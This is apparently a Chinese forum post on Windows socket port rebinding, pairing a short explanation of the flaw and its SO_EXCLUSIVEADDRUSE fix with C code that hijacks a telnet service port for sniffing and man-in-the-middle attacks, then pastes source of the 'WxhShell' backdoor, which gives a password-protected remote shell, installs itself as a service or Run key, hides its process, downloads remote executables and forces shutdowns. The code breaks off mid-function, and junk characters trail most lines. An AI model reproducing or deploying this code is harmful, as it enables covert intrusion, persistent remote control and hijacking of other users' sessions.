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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZJPmR/OV_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3cdTed-MIh  
$5x ,6[&  
  saddr.sin_family = AF_INET; ryB}b1`D  
'2^7-3_1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >P6BW  
PHOP%hI $  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0k)rc$eDF+  
Q7Iw[=;\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fGhn+8VfX  
GZI`jS"lU  
  这意味着什么?意味着可以进行如下的攻击: 'k;rH !R  
s\!>"J bAQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #$1Z  
k:jSbbQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I[)%,jd  
Od f[*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7xRl9  
&xRo^iV?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q></`QWpoB  
L:XC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wO?{?+I`q  
"&/-N[is  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c\a_VRN>r  
svxw^ 0~a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8NyJc"T<.  
[ ol9|sdu  
  #include .X# `k  
  #include vz.>~HBP  
  #include Po%LE]v,  
  #include    [sB 9gY(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   , ]bB9tid  
  int main() DC{>TC[p1k  
  { ,) J~,^f6  
  WORD wVersionRequested; 9IX/wm"  
  DWORD ret; 3EJt%}V$k  
  WSADATA wsaData; pe^u$YE  
  BOOL val; ns6(cJ^a  
  SOCKADDR_IN saddr; xJ#d1[kzo  
  SOCKADDR_IN scaddr; J8mdoVt  
  int err; SkmT`*v@  
  SOCKET s; :POj6j/  
  SOCKET sc; ^0/j0]O  
  int caddsize; ;L']e"G  
  HANDLE mt; ZK>WW  
  DWORD tid;   bv&;R  
  wVersionRequested = MAKEWORD( 2, 2 ); t+9][Adf  
  err = WSAStartup( wVersionRequested, &wsaData ); v`M3eh@$A  
  if ( err != 0 ) { ")d`dj\o  
  printf("error!WSAStartup failed!\n"); d_IAs  
  return -1; &mb{.=  
  } Na:w]r:y  
  saddr.sin_family = AF_INET; ,7<f9 EVY  
   tQS5hwm*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 : |>Gc39`t  
+E{|63~q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s&RVJX>Rt  
  saddr.sin_port = htons(23); V4_=<W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P9T}S  
  { 17`1SGZ  
  printf("error!socket failed!\n"); e)(wss+d7P  
  return -1; nDHTV !]<  
  } oH_;4QU4y  
  val = TRUE; 'FDef#P<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BocSwf;v.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZpnxecJUJ  
  { Za 1QC;7  
  printf("error!setsockopt failed!\n"); %44leINx  
  return -1; UEguF &  
  } e J6$-r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =>_\fNy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m6w].-D8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u fw]=h)  
9Gnc9_]I;W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \SB c;  
  { b:TLV`>/&  
  ret=GetLastError(); !qWH`[:  
  printf("error!bind failed!\n"); E"5*Ei)^3  
  return -1; MRdduPrM%$  
  } ,%M$0poKM  
  listen(s,2); NfjE`  
  while(1) K~R`%r_  
  { >Z'NXha  
  caddsize = sizeof(scaddr); / G7vwC  
  //接受连接请求  |'B7v i)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d>mo~  
  if(sc!=INVALID_SOCKET) NA~Vg8  
  { tP$<UKtU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R}!:'^  
  if(mt==NULL) ]GW]dM  
  { dZ0A3(t  
  printf("Thread Creat Failed!\n"); ,^\2P$rT  
  break; e]zBf;9 J  
  } C$XU%5qi  
  } ^G}47(  
  CloseHandle(mt); rR(X9i  
  } =Jyu4j *}  
  closesocket(s); iMDM1}b  
  WSACleanup(); Xg;}R:g '  
  return 0; }khV'6"'|  
  }   ~ v|>xqWV  
  DWORD WINAPI ClientThread(LPVOID lpParam)  2*^j  
  { xD~5UER  
  SOCKET ss = (SOCKET)lpParam; YwjKAyLU  
  SOCKET sc; J^Wa8Q;9lX  
  unsigned char buf[4096]; ^f4s"T  
  SOCKADDR_IN saddr; hYG6 pTCb  
  long num; X:nN0p #  
  DWORD val; "W955?4m  
  DWORD ret; 8|l\E VV6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L?mrba y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n<z [J=I  
  saddr.sin_family = AF_INET; %D\[*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 :<WY&9  
  saddr.sin_port = htons(23); !ug8SAOaz/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e?8FN. q  
  { $Avjnm  
  printf("error!socket failed!\n"); z`f($t[  
  return -1; l)1r+@) \  
  } 7o# I,d~  
  val = 100; E/|To  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2y;Skp  
  { N_W}*2(  
  ret = GetLastError(); 8c9*\S  
  return -1; q_MG?re  
  } __G?0*3G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \o*5  
  { )<h*eS{  
  ret = GetLastError(); R6;=n"Ueb  
  return -1; P2#XKG  
  } K8GP@yD]M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P-yjN  
  { <7/R,\Wg~  
  printf("error!socket connect failed!\n"); 7QiIiWqIWC  
  closesocket(sc); `ZyI!"  
  closesocket(ss); / F4zg3  
  return -1; e> e}vZlX  
  } !>..Q)z  
  while(1) @tNzQ8  
  { k@RDvn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8]/bK5`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _E@2ZnD2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hKL4cpK4  
  num = recv(ss,buf,4096,0); cPyE 6\lN  
  if(num>0) X86O lP)eX  
  send(sc,buf,num,0); D9^h; 8  
  else if(num==0) n|Q@UPb/=  
  break;  *x@Onj  
  num = recv(sc,buf,4096,0); .WA-&b_  
  if(num>0) 3no%E03p  
  send(ss,buf,num,0); `T@i.'X  
  else if(num==0) Lt?lv2k=L  
  break; Y']\Jq{OS  
  } cQCSe,$ W  
  closesocket(ss); tkeoNuAM  
  closesocket(sc); qouhuH_WtJ  
  return 0 ; EE&K0<?T|:  
  } %*A0# F  
bnf'4PAt  
/?5 1D@  
========================================================== +Vb.lH[av  
U)fc*s  
下边附上一个代码,,WXhSHELL Rr&h!YMb  
JjtNP)We  
========================================================== ,<(}|go   
:}'=`wa  
#include "stdafx.h" #A1%gIw<v2  
6m* QX+  
#include <stdio.h> ]b2pG'  
#include <string.h> % ?0:vn  
#include <windows.h> @vC4[:"pD}  
#include <winsock2.h> N7b8m?!  
#include <winsvc.h> Xv ]W(f1  
#include <urlmon.h> FtP0krO(  
Xix L  R  
#pragma comment (lib, "Ws2_32.lib") Aza /6OL  
#pragma comment (lib, "urlmon.lib") kbX8$xTM  
5d Eh7XL  
#define MAX_USER   100 // 最大客户端连接数 SYAyk  
#define BUF_SOCK   200 // sock buffer ?GKb7Oj  
#define KEY_BUFF   255 // 输入 buffer >)fi^  
q/4J.j L  
#define REBOOT     0   // 重启 \ub7`01  
#define SHUTDOWN   1   // 关机 % L$bf#  
{f/~1G[M  
#define DEF_PORT   5000 // 监听端口 k+# %DK  
_C%3h5  
#define REG_LEN     16   // 注册表键长度 Ta ZmRL  
#define SVC_LEN     80   // NT服务名长度 !"?#6-,Xn  
'.IW.{;$  
// 从dll定义API #++lg{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &FMc?wq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QO<jI#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` 06;   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jl4rbzse  
K -nF lPm\  
// wxhshell配置信息 ~ (|5/ p7t  
struct WSCFG { !E<[JM  
  int ws_port;         // 监听端口 (5$!MUS~9  
  char ws_passstr[REG_LEN]; // 口令 EU2$f  
  int ws_autoins;       // 安装标记, 1=yes 0=no D=q:*x  
  char ws_regname[REG_LEN]; // 注册表键名 l: HTk4$0  
  char ws_svcname[REG_LEN]; // 服务名 p|X"@kuseO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?A K(|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =MQoC:l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DrKP%BnS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |HiE@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y`Wty@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <Th6r.#?  
yZ0-wI  
}; g!g#]9j  
jD$,.AVvz  
// default Wxhshell configuration |^&b8  
struct WSCFG wscfg={DEF_PORT, ?&8^&brwG  
    "xuhuanlingzhe", {fPy=,>Nb  
    1, C)[,4wt,  
    "Wxhshell", @E&J_un  
    "Wxhshell", b1(T4w6  
            "WxhShell Service", >!eAM )  
    "Wrsky Windows CmdShell Service", ,`'Qi%O  
    "Please Input Your Password: ", @6Y?\Wx$w  
  1, {{$Nqn,pH  
  "http://www.wrsky.com/wxhshell.exe", %0S3V[4I  
  "Wxhshell.exe" 7x"R3  
    }; 5bRJS70M  
m~iXl,r  
// 消息定义模块 ]J1dtN=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VQc_|z_ s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k|e7a2Wwt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EaO6[E  
char *msg_ws_ext="\n\rExit."; 2,DXc30I  
char *msg_ws_end="\n\rQuit."; pR*VdC _mY  
char *msg_ws_boot="\n\rReboot..."; K^ vIUZ>  
char *msg_ws_poff="\n\rShutdown..."; Kfbb)?  
char *msg_ws_down="\n\rSave to "; |B?cVc0  
g#"zQvON  
char *msg_ws_err="\n\rErr!"; HZ aV7dOZ8  
char *msg_ws_ok="\n\rOK!"; 1T"`v tR  
F|'>NL-=  
char ExeFile[MAX_PATH]; $njUXSQ;  
int nUser = 0; S3q&rqarC%  
HANDLE handles[MAX_USER]; v"y-0$M  
int OsIsNt; 0z`a1 %U  
0!4Ts3qn1  
SERVICE_STATUS       serviceStatus; cq,SP&T~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a!zz6/q[  
D#_3^Kiawj  
// 函数声明 :NhO2L  
int Install(void); 4X!/hI=jq  
int Uninstall(void); 7BE>RE=)  
int DownloadFile(char *sURL, SOCKET wsh); ux=w!y;}  
int Boot(int flag); ]N~2 .h  
void HideProc(void); )1]ZtU  
int GetOsVer(void); GA$V0YQX  
int Wxhshell(SOCKET wsl); G"r1+#  
void TalkWithClient(void *cs); _~'=C#XI)  
int CmdShell(SOCKET sock); hCi60%g/n  
int StartFromService(void); _zR+i]9   
int StartWxhshell(LPSTR lpCmdLine); h1j!IG  
ty8q11[8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tZ]?^_Y1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); / kF)  
8V~k5#&Ow  
// 数据结构和表定义 Cz9xZA{[M  
SERVICE_TABLE_ENTRY DispatchTable[] = ,kyJAju>  
{ q_MPju&*  
{wscfg.ws_svcname, NTServiceMain}, [8Y:65  
{NULL, NULL} b_$4V3TA  
}; AiwOc+R  
EuEZ D +  
// 自我安装 =rMUov h  
int Install(void) 9e<.lb^tP  
{ `fA@hK   
  char svExeFile[MAX_PATH]; ^7 w+l @  
  HKEY key; `{f}3bO7C  
  strcpy(svExeFile,ExeFile); G0CW}e@)  
+>8'mf  
// 如果是win9x系统,修改注册表设为自启动 C/q'=:H;  
if(!OsIsNt) { Jz\%%C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '*Z1tDFS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `XJG(Oas\  
  RegCloseKey(key); a4m n*,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JYMiLph<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I5X|(0es  
  RegCloseKey(key); @bi}W`  
  return 0; RF`.xQ26=  
    } =-0/k;^  
  } )%`c_FL@N=  
} & DS/v)]  
else { xzdf^Ce  
GF"hx`zyJ  
// 如果是NT以上系统,安装为系统服务 ]{sU&GqBLe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _:ReN_0  
if (schSCManager!=0) -Fi`Z$  
{ KWq+PeB5TS  
  SC_HANDLE schService = CreateService B?OFe'*  
  ( o8 IL $:  
  schSCManager, $By< $  
  wscfg.ws_svcname, 8^kGS-+^  
  wscfg.ws_svcdisp, /}((l%UE.  
  SERVICE_ALL_ACCESS, lXx=But  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^6jV_QM#  
  SERVICE_AUTO_START, ^4y,W]JUDt  
  SERVICE_ERROR_NORMAL, 9Uh"iMB  
  svExeFile, g1;:KzVv  
  NULL, zv|2:4H  
  NULL, u]g%@3Pn  
  NULL, )1Y{Q Y}l  
  NULL, *1ilkmL%  
  NULL >,v`EIg  
  ); eln)BW#  
  if (schService!=0) y|jl[pyg)  
  { [ZNtCnv  
  CloseServiceHandle(schService); FVMD>=k  
  CloseServiceHandle(schSCManager); b10cuy|a/X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tl[Uw[  
  strcat(svExeFile,wscfg.ws_svcname); 'S20\hwt-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <kfnpB=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DMAIM|h  
  RegCloseKey(key); T"(&b~m2b4  
  return 0; 1Rt33\1J0  
    } hnffz95  
  } +xRK5+}9  
  CloseServiceHandle(schSCManager); L\37xJo  
} TeMHm ?1^  
} eJrQ\>z]V&  
oro$wFxJO  
return 1; [NF'oRRD9s  
} loEPr5 bL  
5A,K6f@:g  
// 自我卸载 bYcV$KJk  
int Uninstall(void) ; 8_{e3s  
{ q?H|o(  
  HKEY key; `oAW7q)~  
zZ:>do\2  
if(!OsIsNt) { bpOYHc6,*`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'g">LQ~a+  
  RegDeleteValue(key,wscfg.ws_regname); @Y?#Sl*  
  RegCloseKey(key); e- ~N"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _H9 MwJ  
  RegDeleteValue(key,wscfg.ws_regname); Mhm@R@  
  RegCloseKey(key); w{{gu1#]G  
  return 0; ,D5cjaX<  
  } d}Xr}  
} gx-2v|pZ  
} AL[KpY  
else { H(H<z,$}T  
~Q*%DRd&Z-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >|J`s~?  
if (schSCManager!=0) \0A3]l  
{ ]q\b,)4 e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <c*FCblv  
  if (schService!=0) 4aug{}h("  
  { w3N[9w?1  
  if(DeleteService(schService)!=0) { 0}<|7?  
  CloseServiceHandle(schService);  hz{`h  
  CloseServiceHandle(schSCManager); BfXgh'Z~  
  return 0; K> %Tq  
  } CVDV)#JA  
  CloseServiceHandle(schService); x!hh"x  
  } Eu0akqZ  
  CloseServiceHandle(schSCManager); We)xB  
} oph}5Krd)  
} ;^+\K-O]c  
6 [k\@&V-  
return 1; Jf@H/luW  
} n#mA/H;wV  
=WyDp97@+  
// 从指定url下载文件 %Wg'i!?cB  
int DownloadFile(char *sURL, SOCKET wsh) H!c@klD  
{ u+dLaVlLJ  
  HRESULT hr; } F E>|1  
char seps[]= "/"; k3~}7]O)  
char *token; bjyZk_\  
char *file; OwuE~K7b{  
char myURL[MAX_PATH]; aasoW\UG  
char myFILE[MAX_PATH]; 5b5x!do  
|Yx~;q:  
strcpy(myURL,sURL); +u.1 ;qF  
  token=strtok(myURL,seps); \c,ap49RC  
  while(token!=NULL) >3ZFzh&OYQ  
  { f}6s Q5  
    file=token; o5d%w-'  
  token=strtok(NULL,seps); tE.FrZS  
  } G `+T+  
A4Rug\p]  
GetCurrentDirectory(MAX_PATH,myFILE); #HYr0Tw6`  
strcat(myFILE, "\\"); Nv$ R\'3  
strcat(myFILE, file); Id*Ce2B  
  send(wsh,myFILE,strlen(myFILE),0); PYQ;``~x  
send(wsh,"...",3,0); W=lyIb{?^0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mD/9J5:  
  if(hr==S_OK) @efh{  
return 0; "_P;2N6  
else 8<5]\X  
return 1; rW<KKGsRWQ  
+\x,HsUc"  
} [2>yYr s_=  
U] ~$g}!)  
// 系统电源模块 3s5z UT;  
int Boot(int flag) RPwbTAl}  
{ C,wL0Yj[  
  HANDLE hToken; 0;hqIJcE:\  
  TOKEN_PRIVILEGES tkp; >f^r^P  
UMv.{iEj  
  if(OsIsNt) { dA#Q}.*r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q_1:tW &  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m&xW6!x  
    tkp.PrivilegeCount = 1; ``V" D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WJ$bf(X*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i1UiNJh86  
if(flag==REBOOT) { A8xvo/n$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P|^f0Rw3.  
  return 0; 09|K>UC)v  
} imo$-}A  
else { #TeG-sFJg@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]"r&]qx7  
  return 0; B#exHf8  
} w2 ;eh]k  
  } ]5mnew  
  else { Jlri*q"hE  
if(flag==REBOOT) { yZ @"\Z!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m];]7uB5=  
  return 0; ,ly\Ka?zO  
} =FlDb 5t{  
else { Z|%_&M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YA''2Ii  
  return 0; Az9?Ra;U  
} Gp1?iX?ml  
} >c1!p]&V  
R"4Vtww  
return 1; 1=r#d-\tR  
} 4Fa~Aog  
"C }b%aO:  
// win9x进程隐藏模块 Hek*R?M|  
void HideProc(void) 0[A[U_b  
{ ;"KJ7p  
mkMq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yu;+o3WlK  
  if ( hKernel != NULL ) t!*?dr  
  { ` w=>I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z"Zmo>cV4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %huRsQ %}  
    FreeLibrary(hKernel); +Um( h-;  
  } *e<[SZzYZ  
//*fSF   
return; T{Gj+7bQ~  
} !_"@^?,q  
9l|@v=gw.  
// 获取操作系统版本 $g@=Z"  
int GetOsVer(void) xRJ\E }/7  
{ M.Y~1c4f  
  OSVERSIONINFO winfo; S\LkL]qx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^.1)};i  
  GetVersionEx(&winfo); ={_C&57N1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !\"EFVH  
  return 1;  0bz'&  
  else ?@BTGUK"C  
  return 0; .Fs7z7?Y  
} 2n3W=dF  
yaD~1"GA'O  
// 客户端句柄模块 ,C K{F  
int Wxhshell(SOCKET wsl) qT ,Te  
{ fg s!v7  
  SOCKET wsh; 5"^en# ?9  
  struct sockaddr_in client; : imW\@u  
  DWORD myID; j:<n+:H C  
*Y,x|F  
  while(nUser<MAX_USER) U(a#@K !H  
{ 9Kpa><  
  int nSize=sizeof(client); M2d$4-<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yQU_>_!n  
  if(wsh==INVALID_SOCKET) return 1; FO=4:   
mN~ci 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3) 8QS  
if(handles[nUser]==0) 34z"Pm  
  closesocket(wsh); b$4"i XSQ  
else XnDUa3  
  nUser++; ~kQA7;`j$  
  } N2B|SO''  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q_TR q:&.  
MTsM]o  
  return 0; ?: N @!jeJ  
} Hx#;Z  
?!;7:VIE  
// 关闭 socket AB=daie  
void CloseIt(SOCKET wsh) RzBF~2 >i  
{ &]8P1{  
closesocket(wsh); 9zZr^{lUl  
nUser--; ,.rs(5.z8/  
ExitThread(0); !LggIk1  
} 'L 8n-TyL  
}&/o'w2wY  
// 客户端请求句柄 t5[ #x4 p  
void TalkWithClient(void *cs) B$- R-S6  
{ &7<TAo;O  
`JOOnTenQ  
  SOCKET wsh=(SOCKET)cs; yXz*5W_0D  
  char pwd[SVC_LEN]; P=7zs;k  
  char cmd[KEY_BUFF]; ^.KwcXr  
char chr[1]; ?>hPO73{  
int i,j; ~kShq%  
"*m_> IU  
  while (nUser < MAX_USER) { 6;u$&&c(  
3 N.~mR  
if(wscfg.ws_passstr) { F=`AY^u0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /h+8A' ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s1=X>'q  
  //ZeroMemory(pwd,KEY_BUFF); :QpuO1Gu  
      i=0; [ p{#XwN  
  while(i<SVC_LEN) { u6T+Cg  
Y'yH;M z  
  // 设置超时 (}a8"]Z  
  fd_set FdRead; 9bP^`\K[N  
  struct timeval TimeOut; q-.,nMUF  
  FD_ZERO(&FdRead); gGr^@=;YC  
  FD_SET(wsh,&FdRead); |k+8<\  
  TimeOut.tv_sec=8; ?,p;O  
  TimeOut.tv_usec=0; +,2:g}5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); plUZ"Tr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RM K"o?  
eb.O#Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3x5JFM  
  pwd=chr[0]; [baiH|5>  
  if(chr[0]==0xd || chr[0]==0xa) { t0o`-d(  
  pwd=0; =o Xsb  
  break; ZNf6;%oGG  
  } {)"iiJ  
  i++; '>&^zgr  
    } H18Tn!RDS  
d p2F  
  // 如果是非法用户,关闭 socket #1`-*.u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >xF/Pl  
} \Z]UA&v_  
eAXc:222  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v\!Be[ ?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y]NSN-t  
\]&#%6|V  
while(1) { OZx W?wnd  
)>.&N[v  
  ZeroMemory(cmd,KEY_BUFF); sArhZ[H  
}R1< 0~g  
      // 自动支持客户端 telnet标准   s>0't  
  j=0; T,]7ICF#  
  while(j<KEY_BUFF) { "B =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }!;s.[y  
  cmd[j]=chr[0]; ?3%` bY+3;  
  if(chr[0]==0xa || chr[0]==0xd) { :z4)5= 6M  
  cmd[j]=0; q<\,  
  break; 3AQZRul  
  } $]{k+Jf  
  j++; iMIlZ  
    } vV[eWd.o6M  
lLp^Gt^}w(  
  // 下载文件 q[HTnx  
  if(strstr(cmd,"http://")) { ;u;#g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qR(\5}  
  if(DownloadFile(cmd,wsh)) (IC]?n}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<(wa j  
  else "SzdDY6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8S%52W|  
  } qp/v^$EA  
  else { BnCbon)  
.C&ktU4  
    switch(cmd[0]) { Db)?i?o}t  
  Kz>3 ic$I  
  // 帮助 F">Qpgt  
  case '?': { oX0D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >}!mQpAO  
    break; :X.b}^Z(  
  } Ko;{I?c  
  // 安装 0}$Hi  
  case 'i': { CACTE  
    if(Install()) 0|$v-`P$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CPP` qt%f  
    else nyBJb(5"B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R(2tlZ  
    break; Cz 72?[6  
    } !OBEM1~ 1  
  // 卸载 q0$ !y!~  
  case 'r': { (>VX-Y/  
    if(Uninstall()) >+]_5qc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wW#}:59}  
    else )+}]+xRWGj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ROk5]b.  
    break; O) WCW<p  
    } XLAN Np%E  
  // 显示 wxhshell 所在路径 FP;Ccl"s  
  case 'p': { s0DGC  
    char svExeFile[MAX_PATH]; jJuW-(/4[  
    strcpy(svExeFile,"\n\r"); $/.zm; D  
      strcat(svExeFile,ExeFile); lD"(MQV@0  
        send(wsh,svExeFile,strlen(svExeFile),0); uM_#  
    break; iTag+G4*  
    } "kMguK}c  
  // 重启 *tgnYa[l  
  case 'b': { | \'rP_I>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W6"v)Jc>_  
    if(Boot(REBOOT)) 3 |hHR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxFB%KqU  
    else { Svc|0Ad&  
    closesocket(wsh); SILQ  
    ExitThread(0); c3:,Ab|  
    } J]&y$?C  
    break; 4F{)i  
    } fcNL$U&-,i  
  // 关机 ^j" .  
  case 'd': { L5#P[cHzz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E_8\f_%wK  
